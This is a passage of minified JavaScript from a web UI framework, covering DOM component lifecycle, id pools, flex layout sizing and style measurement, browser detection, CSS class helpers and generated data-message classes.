DT=/^(?:(?:https?|mailto):|[^&:\/?#]*(?:[\/?#]|$))/i,IT=/^(?!style|on|action|archive|background|cite|classid|codebase|data|dsync|href|longdesc|src|usemap)(?:[a-z0-9_$:-]*)$/i,vT=/<(?:!|\/?([a-zA-Z][a-zA-Z0-9:\-]*))(?:[^>'"]|"[^"]*"|'[^']*')*>/g,wT=/</g;var JT=function(a){return dT(a.content?V(a.content):c)};JT.yb="fava.dom.strict.toHtml";var KT=function(){};ML(KT);KT.prototype.Sda=0;KT.prototype.Sj=function(){return mf+(this.Sda++).toString(36)};var LT,MT=function(a,b){this.tt={};zS.call(this,a,b)};E(MT,zS);x=MT.prototype;x.dE=KT.Ja();x.Ev=function(){return this.dE.Sj()};x.tm=function(){var a=MT.c.tm.call(this);this.tt[a]=!0;return a};x.Ol=function(a){if(!this.tt[a])throw Error("Unrecognized obj released.");MT.c.Ol.call(this,a);delete this.tt[a]};x.Sz=function(){};x.Q=function(){MT.c.Q.call(this);this.tt=null};var NT=function(){if(!LT){var a=void 0;if(LT)throw Error("The id pool is already initialized");a=z(a)?a:1E3;LT=new MT(a,2800)}return LT};var OT=function(a){N.call(this);this.IM=a;this.cb=a.get(GQ).q();this.mx=new LQ(this)},PT;E(OT,N);var QT=[];x=OT.prototype;x.getContext=function(){return this.IM};x.Yg=function(){return this.IM};x.v=function(){this.ha||(this.ha=NT().tm());return this.ha};x.q=function(){return this.cb};x.bc=function(a){this.PM();if(!this.qf){var b=RT();this.qf=b.tm();this.vo=b.tm()}a=String(a);b=this.vo.get(a);b||(b=NT().tm(),this.vo.set(a,b),this.qf.set(b,a));return b}; x.PM=function(){if(this.Fd())throw Error("Component already disposed");};x.tu=function(a){return this.qf?this.qf.get(a):null};x.HN=function(a){return this.qf?this.cb.b(this.bc(a)):null};x.Qa=function(){var a;a=this.constructor;if(!bP[a]&&(a=String(a),!bP[a])){var b=/function ([^\(]+)/.exec(a);bP[a]=b?b[1]:hv}a=bP[a];return a};x.toString=function(){return this.Qa()};x.getParent=function(){return this.Ia};x.xF=function(){return this.getParent()}; x.Bj=function(){throw Error("Unsupported operation");};x.xc=function(){return this.Ga?this.Ga.length:0};x.Fb=function(a){return this.Ga?this.Ga[a]:null};x.Nn=function(){return this.Ga?this.Ga:[]};x.b=function(a){this.An();return z(a)?this.HN(String(a)):this.N};x.pJ=function(){return!!this.N};x.wa=function(){return this.Xn};x.An=function(){this.PM();this.N||this.ya()};x.C=function(){this.N=this.cb.createElement(s)};x.ya=function(){this.C()}; x.wn=function(a){if(this.Ia)throw Error("Parent is already set.");this.Ia=a;for(a=0;a<QT.length;a++)QT[a].Dia(this)};x.A5=function(){this.Ia=null;for(var a=0;a<QT.length;a++)QT[a].Cia(this)};x.rr=function(a){this.uD(a,this.xc())};x.uD=function(a,b){a.getParent()||0>b||b>this.xc()||(this.Ga=this.Ga||[],jN(this.Ga,b,0,a),a.wn(this),this.Xn&&a.R())};x.Wda=function(a){for(var b=this.xc(),d=0;d<b;d++)if(this.Fb(d)==a)return this.Sl(d);return!1}; x.Sl=function(a){if(0>a||a>=this.xc())return!1;var b=this.Ga[a];cN(this.Ga,a);b.A5();b.Xn&&b.oa();this.Ga=this.Ga.length?this.Ga:null;return!0};x.Bu=function(){for(;this.Sl(0););};x.R=function(){this.Xn=!0;if(this.Ga)for(var a=this.Ga,b=a.length,d=0;d<b;d++)a[d].R()};x.oa=function(){this.Xn=!1;if(this.Ga)for(var a=this.Ga,b=a.length,d=0;d<b;d++)a[d].oa()}; x.A=function(){this.Xn&&(this.oa(),aQ(this.N));this.N=null;for(var a=gN(this.Nn()),b=0;b<a.length;b++)a[b].Q();this.ha&&NT().Ol(this.ha);if(this.qf){a=this.qf.Le();for(b=0;b<a.length;b++){var d=a[b],e=this.qf.get(d);this.qf.remove(d);this.vo.remove(e);NT().Ol(d)}b=RT();b.Ol(this.qf);b.Ol(this.vo);this.vo=this.qf=null}this.mx.Q();this.mx=null;OT.c.A.call(this)};x.L=function(){return this.mx};var ST=function(a,b){zS.call(this,a,b)};E(ST,zS);ST.prototype.Ev=function(){return new VO}; var RT=function(){if(!PT){var a=void 0;if(PT)throw Error("The id map pool is already initialized");a=z(a)?a:400;PT=new ST(a,400)}return PT};var TT=function(a){OT.call(this,a)};E(TT,OT);x=TT.prototype;x.zg=!0;x.Ag=!0;x.xs=function(a){if(!a)return this.zg||this.Ag;switch(a){case u:return this.zg;case jL:return this.Ag;default:throw Error("fava.layout.BaseLayoutComponent.isDirty Invalid dimension for is dirty.");}}; x.jb=function(a){if(!a&&this.zg&&this.Ag||a==u&&this.zg||a==jL&&this.Ag)return!1;if(a)switch(a){case u:this.zg=!0;break;case jL:this.Ag=!0;break;default:throw Error("fava.layout.BaseLayoutComponent.markDirty Invalid dimension for mark dirty.");}else this.zg=this.Ag=!0;return!0}; x.Py=function(a){if(!a&&!this.zg&&!this.Ag||a==u&&!this.zg||a==jL&&!this.Ag)return!1;if(a)switch(a){case u:this.zg=!1;break;case jL:this.Ag=!1;break;default:throw Error("fava.layout.BaseLayoutComponent.markClean Invalid dimension for mark clean.");}else this.zg=this.Ag=!1;return!0};var UT=function(a){if(a.classList)return a.classList;a=a.className;return A(a)&&a.match(/\S+/g)||[]},VT=function(a,b){return a.classList?a.classList.contains(b):aN(UT(a),b)},WT=function(a,b){a.classList?a.classList.add(b):VT(a,b)||(a.className+=0<a.className.length?fa+b:b)},XT=function(a,b){if(a.classList)I(b,function(b){WT(a,b)});else{var d={};I(UT(a),function(a){d[a]=!0});I(b,function(a){d[a]=!0});a.className=c;for(var e in d)a.className+=0<a.className.length?fa+e:e}},YT=function(a,b){a.classList? a.classList.remove(b):VT(a,b)&&(a.className=TM(UT(a),function(a){return a!=b}).join(fa))},ZT=function(a,b){a.classList?I(b,function(b){YT(a,b)}):a.className=TM(UT(a),function(a){return!aN(b,a)}).join(fa)};var $T,aU,bU,cU,dU,eU,fU;fU=eU=dU=cU=bU=aU=$T=!1;var gU=yN();gU&&(-1!=gU.indexOf("Firefox")?$T=!0:-1!=gU.indexOf("Camino")?aU=!0:-1!=gU.indexOf("iPhone")||-1!=gU.indexOf("iPod")?bU=!0:-1!=gU.indexOf("iPad")?cU=!0:-1!=gU.indexOf("Chrome")?eU=!0:-1!=gU.indexOf("Android")?dU=!0:-1!=gU.indexOf("Safari")&&(fU=!0));var hU=$T,iU=aU,jU=bU,kU=cU,lU=dU,mU=eU,nU=fU;var oU=function(){};oU.prototype.js=function(a){this.N=a};oU.prototype.pY=function(){EN?this.Gca():J?this.Eca():this.Fca()};oU.prototype.Gca=function(){var a=this.Q4(this.N);this.qN(a)}; var pU=[dx,fx,hx,bx,"borderLeftStyle","borderRightStyle","borderTopStyle","borderBottomStyle",vG,wG,xG,uG,"marginLeft","marginRight","marginTop","marginBottom"],qU={borderLeftWidth:Ie,borderRightWidth:Ie,borderTopWidth:Ie,borderBottomWidth:Ie,borderLeftStyle:JF,borderRightStyle:JF,borderTopStyle:JF,borderBottomStyle:JF,paddingLeft:Ie,paddingRight:Ie,paddingTop:Ie,paddingBottom:Ie,marginLeft:Ie,marginRight:Ie,marginTop:Ie,marginBottom:Ie}; oU.prototype.Q4=function(a){var b={},d=a.ownerDocument.defaultView.getMatchedCSSRules(a,c),e,f=[];f.push(qU);if(d)for(e=0;e<d.length;e++)f.push(d[e].style);f.push(a.style);for(e=0;e<f.length;e++)for(a=f[e],d=0;d<pU.length;d++){var g=pU[d],k=a[g];k&&(b[g]=k)}return b}; oU.prototype.Fca=function(){var a=this.N.ownerDocument.defaultView.getComputedStyle(this.N,c)||qU;this.ws=parseInt(a.borderLeftWidth,10)+parseInt(a.borderRightWidth,10)+parseInt(a.paddingLeft,10)+parseInt(a.paddingRight,10);this.Ay=parseInt(a.marginLeft,10)+parseInt(a.marginRight,10);this.Cy=parseInt(a.borderTopWidth,10)+parseInt(a.borderBottomWidth,10)+parseInt(a.paddingTop,10)+parseInt(a.paddingBottom,10);this.By=parseInt(a.marginTop,10)+parseInt(a.marginBottom,10)}; oU.prototype.Eca=function(){this.N.currentStyle?this.qN(this.N.currentStyle):z(this.ws)||(this.ws=this.Ay=this.Cy=this.By=0)};oU.prototype.qN=function(a){this.ws=rU(a.borderLeftWidth,a.borderLeftStyle)+rU(a.borderRightWidth,a.borderRightStyle)+sU(a.paddingLeft,tG)+sU(a.paddingRight,tG);this.Ay=tU(a.marginLeft)+tU(a.marginRight);this.Cy=rU(a.borderTopWidth,a.borderTopStyle)+rU(a.borderBottomWidth,a.borderBottomStyle)+sU(a.paddingTop,tG)+sU(a.paddingBottom,tG);this.By=tU(a.marginTop)+tU(a.marginBottom)}; var rU=function(a,b){return b==JF?0:sU(a,Yw)},tU=function(a){return a==Fw?0:sU(a,UD)},sU=function(a){if(a==Ie)a=0;else{var b=a.match(tS);a=(b&&b[0]||null)==rH?parseInt(a,10):0}return a};var uU=function(a){OT.call(this,a)};E(uU,TT);var vU=!(J&&!SN(hf)),wU=new oU;x=uU.prototype;x.gv=0;x.fv=0;x.ev=Infinity;x.dv=Infinity;x.gF=1;x.fF=-1;x.ld=!0;x.Ve=0;x.Ui=0;x.mq=!0;x.QF=-1;x.PF=-1;x.Qo=0;x.Ro=0;x.Cl=0;x.No=0;x.sm=function(a){switch(a){case u:return this.gv;case jL:return this.fv;default:throw Error("LC getMinSize bad dim");}};x.Ji=function(a){switch(a){case u:return this.ev;case jL:return this.dv;default:throw Error("LC getMaxSize bad dim");}}; x.vm=function(a,b){switch(a){case u:return Math.min(Math.max(b,this.gv),this.ev);case jL:return Math.min(Math.max(b,this.fv),this.dv);default:throw Error("LC constrainSize bad dim");}};x.oh=function(a){switch(a){case u:return this.gF;case jL:return this.fF;default:throw Error("LC getFlexValue bad dim");}};x.Dp=function(a){return-1==this.oh(a)};x.It=function(a){return this.Dp(a)&&0==this.sm(a)&&Infinity==this.Ji(a)}; x.lb=function(a){switch(a){case u:return this.mq?this.Ve:0;case jL:return this.mq?this.Ui:0;default:throw Error("LC getSize bad dim");}};x.dc=function(){return this.lb(u)};x.Rc=function(){return this.lb(jL)};x.Tl=function(){this.kx||(this.kx=this.b().style);return this.kx};x.UY=function(a){switch(a){case u:return this.TA;case jL:return this.VA;default:throw Error("LC getCCS_ bad dim");}}; x.Y$=function(a){switch(a){case u:return this.SA;case jL:return this.UA;default:throw Error("LC getCCMD bad dim");}};x.O9=function(a){switch(a){case u:return this.WA;case jL:return this.XA;default:throw Error("LC isPFDCM bad dim");}};x.A=function(){uU.c.A.call(this);var a=this.v();delete xU.x[a];delete xU.y[a];delete this.kx};x.ya=function(){uU.c.ya.call(this);WT(this.N,Oi)};x.cg=function(a){this.gf=a};x.wM=function(a){this.Lf(a,void 0,void 0,void 0)};x.vJ=function(a){this.Lf(void 0,a,void 0,void 0)}; x.uR=function(a,b){switch(a){case u:this.Lf(b,void 0,void 0,void 0);break;case jL:this.Lf(void 0,b,void 0,void 0);break;default:throw Error("LC setMinSize bad dim");}};x.hp=function(a){this.Lf(void 0,void 0,a,void 0)};x.vB=function(a,b){switch(a){case u:this.Lf(void 0,void 0,b,void 0);break;case jL:this.Lf(void 0,void 0,void 0,b);break;default:throw Error("LS setMaxSize bad dim");}}; x.Lf=function(a,b,d,e){var f=this.gv,g=this.fv,k=this.ev,p=this.dv;a=z(a)?a:f;b=z(b)?b:g;d=z(d)?d:k;e=z(e)?e:p;if(a!=f||b!=g||d!=k||e!=p){var q=!0;0>a&&(q=!1);0>b&&(q=!1);a>d&&(q=!1);b>e&&(q=!1);if(!q)throw Error("LC setConstraintsInternal bad constraints");this.gv=a;this.fv=b;this.ev=d;this.dv=e;a==f&&d==k?this.jb(jL):b==g&&e==p?this.jb(u):this.jb()}};x.tc=function(a){this.Wi(a,void 0)};x.fc=function(a){this.Wi(void 0,a)}; x.ica=function(a,b){switch(a){case u:this.Wi(b,void 0);break;case jL:this.Wi(void 0,b);break;default:throw Error("LC setFlexValue bad dim");}};x.Wi=function(a,b){var d=this.gF,e=this.fF,f=z(a)?a:d,g=z(b)?b:e;if(f!=d||g!=e){var k=!0;0>f&&-1!=f&&(k=!1);0>g&&-1!=g&&(k=!1);if(!k)throw Error("LC setFlexValuesInternal bad flex");this.gF=f;this.fF=g;f==d?this.jb(jL):g==e?this.jb(u):this.jb()}}; x.sizeToContent=function(a){switch(a){case u:this.Wi(-1,void 0);this.Lf(0,void 0,Infinity,void 0);break;case jL:this.Wi(void 0,-1);this.Lf(void 0,0,void 0,Infinity);break;default:throw Error("LC sizeToContent bad dim");}};x.xn=function(a){this.$R(u,a)};x.Wh=function(a){this.$R(jL,a)};x.$R=function(a,b){yU++;this.uR(a,0);this.vB(a,b);this.uR(a,b);this.ica(a,0);zU()};x.ub=function(a){a!=this.ld&&(this.ld=a,this.CJ())}; x.FZ=function(a,b){switch(a){case u:this.OP(b,this.Rc());break;case jL:this.OP(this.dc(),b);break;default:throw Error("LC setSize_ bad dim");}};x.OP=function(a,b){this.Ve=a;this.Ui=b};x.jb=function(a){if(!uU.c.jb.call(this,a))return!1;a&&a!=u||(this.SA=this.TA=null,this.WA=!1);a&&a!=jL||(this.UA=this.VA=null,this.XA=!1);var b=this.getParent();b&&this.ld&&b.jb(a);return!0}; x.CJ=function(){var a=uU.c.jb.call(this);a&&(this.SA=this.TA=null,this.WA=!1,this.UA=this.VA=null,this.XA=!1);var b=this.getParent();b&&(a||this.ld)&&b.jb();return!0};x.ZJ=function(a,b){switch(a){case u:this.TA=b;break;case jL:this.VA=b;break;default:throw Error("LC setCCS bad dim");}};x.Z$=function(a,b){switch(a){case u:this.SA=b;break;case jL:this.UA=b;break;default:throw Error("LC setCCMCD bad dim");}}; x.P9=function(a,b){switch(a){case u:this.WA=b;break;case jL:this.XA=b;break;default:throw Error(Uo);}};x.fg=function(a){if(!this.ld)return 0;var b=this.UY(a);if(b)return b;if(this.Fs(a))return this.Qx(a),b=this.b(),b=a==u?b.offsetWidth:b.offsetHeight,b+=a==u?this.Qo:this.Ro,this.ZJ(a,b),b;this.Qy(a);b=this.ip(a);b+=a==u?this.Qo:this.Ro;this.ZJ(a,b);return b};x.ip=function(){return 0};x.Fs=function(a){if(!this.ld||this.Y$(a))return!0;var b=this.zq(a);this.Z$(a,b);return b};x.zq=function(){return!1}; x.Qx=function(a){if(!this.Fs(a))throw Error("LC prepareFDCM can't measure direct");this.O9(a)||(this.Qy(a),this.ld&&this.rm(a),this.P9(a,!0))};x.rm=function(a){this.fp(a)};x.hY=function(a){switch(a){case u:return-1==this.QF;case jL:return-1==this.PF;default:throw Error(Uo);}};x.hide=function(){this.BP(!1)};x.Qy=function(a){this.BP(this.ld)&&a==u&&this.jb(jL)};x.BP=function(a){return this.mq!=a?(this.mq=a,this.Tl().display=a?c:JF,!0):!1}; x.vK=function(a,b){if(a==u){if(this.QF!=b)return this.QF=b,this.Tl().width=AU(b),!0}else if(this.PF!=b)return this.PF=b,this.Tl().height=AU(b),!0;return!1};x.fp=function(a){this.vK(a,-1)};x.zO=function(){if(this.ld){var a=this.b();wU.js(a);wU.pY();var a=wU.ws,b=wU.Ay;if(a!=this.Cl||b!=this.Qo)this.jb(u),this.Qo=b,this.Cl=a;a=wU.Cy;b=wU.By;if(a!=this.No||b!=this.Ro)this.jb(jL),this.Ro=b,this.No=a;this.qY()}}; x.ee=function(a,b,d){this.b();var e=this.ld;d=!!d;this.Qy(a);if(e&&(this.xs()||b!=this.lb(a)||d!=this.hY(a))){if(-1!=this.oh(a)&&-1==b)throw Error("LC updateLayout bad C_S not sToC");e=0;if(-1!=b)switch(a){case u:e=this.Qo+this.Cl;break;case jL:e=this.Ro+this.No}this.Vc(a,b-e,d)}this.Py(a);this.DJ(a)};x.DJ=function(){};x.qY=function(){for(var a=this.Nn(),b=0;b<a.length;b++){var d=a[b];d instanceof uU&&d.zO()}}; x.Vc=function(a,b,d){this.b();this.FZ(a,b+(a==u?this.Cl:this.No));this.vK(a,-1==b||d?-1:b)}; var AU=function(a){return 0>a?c:vU?a+rH:a},xU={x:{},y:{}},BU=[],CU=function(a,b,d){for(var e=xU[a],f=d.length,g=0,k=0;k<f;k++){var p=null,q=d[k],p=q.sm(a);q.Ji(a);var t=q.oh(a),B=q.It(a);switch(t){case 0:break;case -1:B?p=-1:(t=q.fg(a),p=q.vm(a,t),p=p==t?-1:p);break;default:-1==b?g++:p=q.vm(a,b)}e[q.v()]=p}if(g){for(k=b=0;k<f;k++)q=d[k],p=e[q.v()],-1==p&&(p=q.fg(a)),b=Math.max(b,p);for(k=0;k<f&&0<g;k++)q=d[k],0<q.oh(a)&&(g--,e[q.v()]=q.vm(a,b))}},DU=[],EU=[],FU=[],GU=[],HU=[],IU=function(a,b,d,e, f,g,k){for(a=gN(a);;){for(var p=f/g,q=[],t=[],B=0,F=0,X=a.length,R=0;R<X;R++){var Va=a[R],Kb=Math.ceil(e[Va]*p);Kb<b[Va]?(q.push(Va),B+=b[Va]-Kb):Kb>d[Va]&&(t.push(Va),F+=Kb-d[Va]);k[Va]=Kb}if(0==q.length&&0==t.length)break;var od=0,va=0,p=function(f){k[f]=Math.min(Math.max(k[f],b[f]),d[f]);od+=k[f];va+=e[f];dN(a,f)};if(F==B){for(R=0;R<t.length;R++)p(t[R]);for(R=0;R<q.length;R++)p(q[R]);break}else{if(F>B)for(H(0<t.length,KJ),R=0;R<t.length;R++)p(t[R]);else for(H(0<q.length,LJ),R=0;R<q.length;R++)p(q[R]); f-=od;g-=va}}};uU.prototype.P5=function(){if(!this.wa())return!1;for(var a=this.gf,b=this;b&&b!=a;){if(!b.mq)return!1;b=b.getParent()}return!0};var JU=function(a,b){this.defaultValue=a;this.type=b;this.value=a};JU.prototype.get=function(){return this.value};JU.prototype.Qa=function(){return this.type};JU.prototype.set=function(a){this.value=a};var KU=function(a){JU.call(this,a,Lw)};E(KU,JU);KU.prototype.get=function(){return this.value};var LU=new KU(!1),MU=new KU(!0),NU=new KU(!0);var PU=function(a,b,d){OT.call(this,a);this.gi=b;this.VI=d;this.$B=[];CO(this.gi,QI,this.iy,!1,this);OU.set(this.v(),this);CO(this.VI,RA,this.Zr,!1,this)};E(PU,TT);x=PU.prototype;x.qm=0;x.SF=null;x.Xf=function(){return this.Fb(0)};x.I6=function(){return 0<this.qm};x.u_=function(a){if(!this.Xf()){yU++;try{this.q().appendChild(this.b(),a.b()),a.cg(this),this.rr(a),this.jb()}finally{zU()}}};x.removeChild=function(){var a=this.Xf(),b=this.Sl(0);b&&(a.cg(null),this.q().removeNode(a.b()),this.jb());return b}; x.A=function(){OU.remove(this.v());JO(this.VI,RA,this.Zr,!1,this);OU.isEmpty()&&QU&&(QU.Q(),QU=null);JO(this.gi,QI,this.iy,!1,this);this.gi.Q();this.gi=null;PU.c.A.call(this)};x.iy=function(){this.Iu=null;this.jb()};x.jb=function(a){if(3==this.qm&&(2==a||!a))throw Error("Cannot mark x dimension dirty during y layout");a=PU.c.jb.call(this,a);this.lL();return a};x.lL=function(){if(this.xs()&&!this.I6()&&0<this.xc()&&this.wa()&&!(0<yU)){yU++;try{this.gf()}finally{zU()}}}; x.gf=function(){LU.get()||(this.qm=1,this.dispatchEvent(GD),this.Iu||(this.Iu=this.gi.lb(this)),this.Xf(),MU.get()&&this.Xf().zO(),this.qm=2,this.xs(u)&&this.FO(u,this.Iu.width),this.Py(u),this.qm=3,this.xs(jL)&&this.FO(jL,this.Iu.height),this.Py(jL),this.qm=0,this.dispatchEvent(FD))};x.FO=function(a,b){var d=this.Xf();BU.push(d);CU(a,b,BU);BU.length=0;var e=xU[a][d.v()];d.ee(a,e,!1)};x.Zr=function(){this.SF||(this.SF=HS(bA,this.Qca,50,this))}; x.Qca=function(){yU++;for(var a=this.$B,b=0;b<a.length;b++)a[b]();this.iy();zU();this.SF=null};x.o_=function(a){this.$B.push(a)};x.a0=function(a){dN(this.$B,a)};var zU=function(){if(0<yU&&(yU--,!(0<yU)))for(var a=OU.mc(),b=0;b<a.length;b++)a[b].lL()},QU=null,yU=0,OU=new VO,RU=function(){N.call(this)};E(RU,N);RU.prototype.lb=function(){return new AP(0,0)};RU.prototype.rv=function(){this.dispatchEvent(QI)}; var VU=function(a,b){N.call(this);this.LI=new LQ(this);if(b)for(var d=0;d<b.length;d++)this.LI.j(b[d],IH,this.El);a&&(SU.push(this),TU||UU())},TU;E(VU,RU);var SU=[];VU.prototype.ac=null;VU.prototype.vv=null;var UU=function(){I(SU,WU);TU=HS(dA,UU,500)},WU=function(a){var b=a.iQ();BP(a.ac,b)||a.rv()};VU.prototype.lb=function(){this.ac||(this.ac=this.iQ());return this.ac};VU.prototype.El=function(){J&&!SN(Oe)?(this.vv&&JL.clearTimeout(this.vv),this.vv=HS(cA,this.rv,500,this)):this.rv()}; VU.prototype.rv=function(){this.ac=this.vv=null;this.dispatchEvent(QI)};VU.prototype.A=function(){this.LI.Q();var a=TU;dN(SU,this);0==SU.length&&a&&JL.clearTimeout(a);VU.c.A.call(this)};var XU=function(a,b){this.im=a.document.documentElement;var d=EN&&wN||CN&&a.self!=a.top,e=b||[];e.unshift(a);this.Lv=new AP(0,0);VU.call(this,d,e)};E(XU,VU); XU.prototype.iQ=function(){if(EN){var a=this.im.getBoundingClientRect();return new AP((a.width?a.width:this.im.clientWidth)-this.Lv.width,(a.height?a.height:this.im.clientHeight)-this.Lv.height)}return new AP(this.im.clientWidth-this.Lv.width,this.im.clientHeight-this.Lv.height)};XU.prototype.A=function(){this.im=null;XU.c.A.call(this)};var YU=function(a){this.ma=a||MP()};YU.prototype.ZZ=function(a){var b=this.ma.C(Mv,{href:lC},dp);return this.ma.C(s,null,Ih+(a?wh:c),b)};var ZU=function(){};var $U=[];$U.push=function(){throw Error("Calling push on a read-only array");};var aV={cancel:function(){},te:function(){return!1}};var bV=function(a){this.Uh=a;var b;b=a[1];var d=a[2];b=a[0]!=Ox?b?b!=d&&d?Na+b+Ta+d+rh:b:d:(a=a[6])?b+fa+(1==a?vc:tc+(a+sa)):b+ha;this.text=b};E(bV,ZU);x=bV.prototype;x.toString=function(){return this.Uh[0]==Ox?this.Uh[2]:this.text};x.v=function(){return this.Uh[4]};x.getName=function(){return this.Uh[1]||c};x.La=function(){return this.Uh[0]!=pH?this.Uh[2]:null};x.Qa=function(){return this.Uh[0]};x.Xe=function(){return this.Uh[3]||0};x.Nv=function(){return this.Uh[7]};var W=function(a){this.Nc=a||[];a&&(this.Sa=[])},cV={};x=W.prototype;x.qG=function(a){return this.Nc[a]&&this.Nc[a].length||0};x.la=W.prototype.qG;x.MR=function(a,b,d){return this.Nc[a]&&null!=this.Nc[a][b]?this.Nc[a][b]:d};x.Kda=function(a,b){return 0<=b&&OL(this.Nc[a])&&b<this.Nc[a].length};x.get=function(a,b){return null!=this.Nc[a]?this.Nc[a]:b};x.has=function(a){return null!=this.Nc[a]}; x.I=function(a,b){if(!this.Sa||!this.Sa[a])if(this.Nc[a])this.Sa[a]=new b(this.Nc[a]);else return this.hP(b);return this.Sa[a]};x.J=function(a){return null!=this.Nc[a]};x.Ta=W.prototype.Kda;x.ka=function(a,b,d){if(!this.Sa||!this.Sa[a]||!this.Sa[a][b])if(this.Nc[a]&&this.Nc[a][b])this.Sa[a]||(this.Sa[a]=[]),this.Sa[a][b]=new d(this.Nc[a][b]);else return this.hP(d);return this.Sa[a][b]};x.hP=function(a){var b=VL(a);b in cV||(cV[b]=new a([]));return cV[b]};var dV=function(a){W.call(this,a)};E(dV,W);x=dV.prototype;x.toString=function(){var a=[];this.H()&&a.push(n+(A(this.e())?G(this.e().toString()):this.e().toString()));this.ba()&&a.push(Du+(A(this.D())?G(this.D().toString()):this.D().toString()));this.eX()&&a.push(Gl+(A(this.sn())?G(this.sn().toString()):this.sn().toString()));return v+a.join(h)+w};x.e=function(){return this.I(1,eV)};x.H=function(){return this.J(1)};x.D=function(){return this.get(2,c)};x.ba=function(){return this.has(2)}; x.sn=function(){return this.get(3,0)};x.eX=function(){return this.has(3)};var fV=function(a){W.call(this,a)};E(fV,W);x=fV.prototype; x.toString=function(){var a=[];this.H()&&a.push(n+(A(this.e())?G(this.e().toString()):this.e().toString()));this.va()&&a.push(ct+(A(this.V())?G(this.V().toString()):this.V().toString()));this.Ea()&&a.push(Vl+(A(this.W())?G(this.W().toString()):this.W().toString()));this.ge()&&a.push(Xs+(A(this.rb())?G(this.rb().toString()):this.rb().toString()));this.ba()&&a.push(Du+(A(this.D())?G(this.D().toString()):this.D().toString()));this.ZT()&&a.push(wr+(A(this.rx())?G(this.rx().toString()):this.rx().toString())); this.XT()&&a.push(mn+(A(this.px())?G(this.px().toString()):this.px().toString()));this.bU()&&a.push(mt+(A(this.Mr())?G(this.Mr().toString()):this.Mr().toString()));this.YT()&&a.push(lp+(A(this.qx())?G(this.qx().toString()):this.qx().toString()));this.aU()&&a.push(ds+(A(this.Lr())?G(this.Lr().toString()):this.Lr().toString()));this.$T()&&a.push(Br+(A(this.Kr())?G(this.Kr().toString()):this.Kr().toString()));this.VT()&&a.push(Il+(A(this.nx())?G(this.nx().toString()):this.nx().toString()));this.jc()&& a.push(Ir+(A(this.za())?G(this.za().toString()):this.za().toString()));this.WT()&&a.push(Jl+(A(this.ox())?G(this.ox().toString()):this.ox().toString()));return v+a.join(h)+w};x.e=function(){return this.I(1,eV)};x.H=function(){return this.J(1)};x.V=function(){return this.get(2,1)};x.va=function(){return this.has(2)};x.W=function(){return this.get(3,c)};x.Ea=function(){return this.has(3)};x.rb=function(){return this.get(4,!1)};x.ge=function(){return this.has(4)};x.D=function(){return this.get(5,c)}; x.ba=function(){return this.has(5)};x.rx=function(){return this.get(6,c)};x.ZT=function(){return this.has(6)};x.px=function(){return this.get(7,c)};x.XT=function(){return this.has(7)};x.Mr=function(){return this.get(8,c)};x.bU=function(){return this.has(8)};x.qx=function(){return this.get(9,c)};x.YT=function(){return this.has(9)};x.Lr=function(){return this.get(10,c)};x.aU=function(){return this.has(10)};x.Kr=function(){return this.get(11,c)};x.$T=function(){return this.has(11)}; x.nx=function(){return this.get(12,c)};x.VT=function(){return this.has(12)};x.za=function(){return this.get(13,!1)};x.jc=function(){return this.has(13)};x.ox=function(){return this.get(14,c)};x.WT=function(){return this.has(14)};var gV=function(a){W.call(this,a)};E(gV,W);x=gV.prototype; x.toString=function(){var a=[];this.H()&&a.push(n+(A(this.e())?G(this.e().toString()):this.e().toString()));if(this.has(2)){for(var b=[],d=0;d<this.ca();++d){var e=this.O(d);null!=e?b.push(A(e)?G(e.toString()):e.toString()):b.push(c)}a.push(yn+b.join(h)+r)}return v+a.join(h)+w};x.e=function(){return this.I(1,hV)};x.H=function(){return this.J(1)};x.Ha=function(a){return this.Ta(2,a)};x.O=function(a){return this.ka(2,a,fV)};x.ca=function(){return this.la(2)};var iV=function(a){W.call(this,a)}; E(iV,W);x=iV.prototype; x.toString=function(){var a=[];this.PY()&&a.push(sn+(A(this.Nz())?G(this.Nz().toString()):this.Nz().toString()));this.H()&&a.push(n+(A(this.e())?G(this.e().toString()):this.e().toString()));this.Jj()&&a.push(it+(A(this.getStatus())?G(this.getStatus().toString()):this.getStatus().toString()));this.OY()&&a.push(ml+(A(this.Mz())?G(this.Mz().toString()):this.Mz().toString()));this.lf()&&a.push(Zo+(A(this.Sb())?G(this.Sb().toString()):this.Sb().toString()));this.QY()&&a.push(vp+(A(this.Oz())?G(this.Oz().toString()): this.Oz().toString()));this.RY()&&a.push(wp+(A(this.Pz())?G(this.Pz().toString()):this.Pz().toString()));this.NY()&&a.push(vi+(A(this.Lz())?G(this.Lz().toString()):this.Lz().toString()));return v+a.join(h)+w};x.Nz=function(){return this.I(1,hV)};x.PY=function(){return this.J(1)};x.e=function(){return this.I(2,eV)};x.H=function(){return this.J(2)};x.getStatus=function(){return this.get(3,0)};x.Jj=function(){return this.has(3)};x.Mz=function(){return this.get(4,c)};x.OY=function(){return this.has(4)}; x.Sb=function(){return this.get(5,l)};x.lf=function(){return this.has(5)};x.Oz=function(){return this.get(6,0)};x.QY=function(){return this.has(6)};x.Pz=function(){return this.get(7,l)};x.RY=function(){return this.has(7)};x.Lz=function(){return this.get(8,0)};x.NY=function(){return this.has(8)};var jV=function(a){W.call(this,a)};E(jV,W);x=jV.prototype; x.toString=function(){var a=[];this.H()&&a.push(n+(A(this.e())?G(this.e().toString()):this.e().toString()));this.ge()&&a.push(Xs+(A(this.rb())?G(this.rb().toString()):this.rb().toString()));this.ba()&&a.push(Du+(A(this.D())?G(this.D().toString()):this.D().toString()));this.wy()&&a.push(bm+(A(this.getDay())?G(this.getDay().toString()):this.getDay().toString()));this.xy()&&a.push(Tp+(A(this.getMonth())?G(this.getMonth().toString()):this.getMonth().toString()));this.yy()&&a.push(Tu+(A(this.getYear())? G(this.getYear().toString()):this.getYear().toString()));return v+a.join(h)+w};x.e=function(){return this.I(1,eV)};x.H=function(){return this.J(1)};x.rb=function(){return this.get(2,!1)};x.ge=function(){return this.has(2)};x.D=function(){return this.get(3,c)};x.ba=function(){return this.has(3)};x.getDay=function(){return this.get(4,0)};x.wy=function(){return this.has(4)};x.getMonth=function(){return this.get(5,0)};x.xy=function(){return this.has(5)};x.getYear=function(){return this.get(6,0)}; x.yy=function(){return this.has(6)};var kV=function(a){W.call(this,a)};E(kV,W);x=kV.prototype; x.toString=function(){var 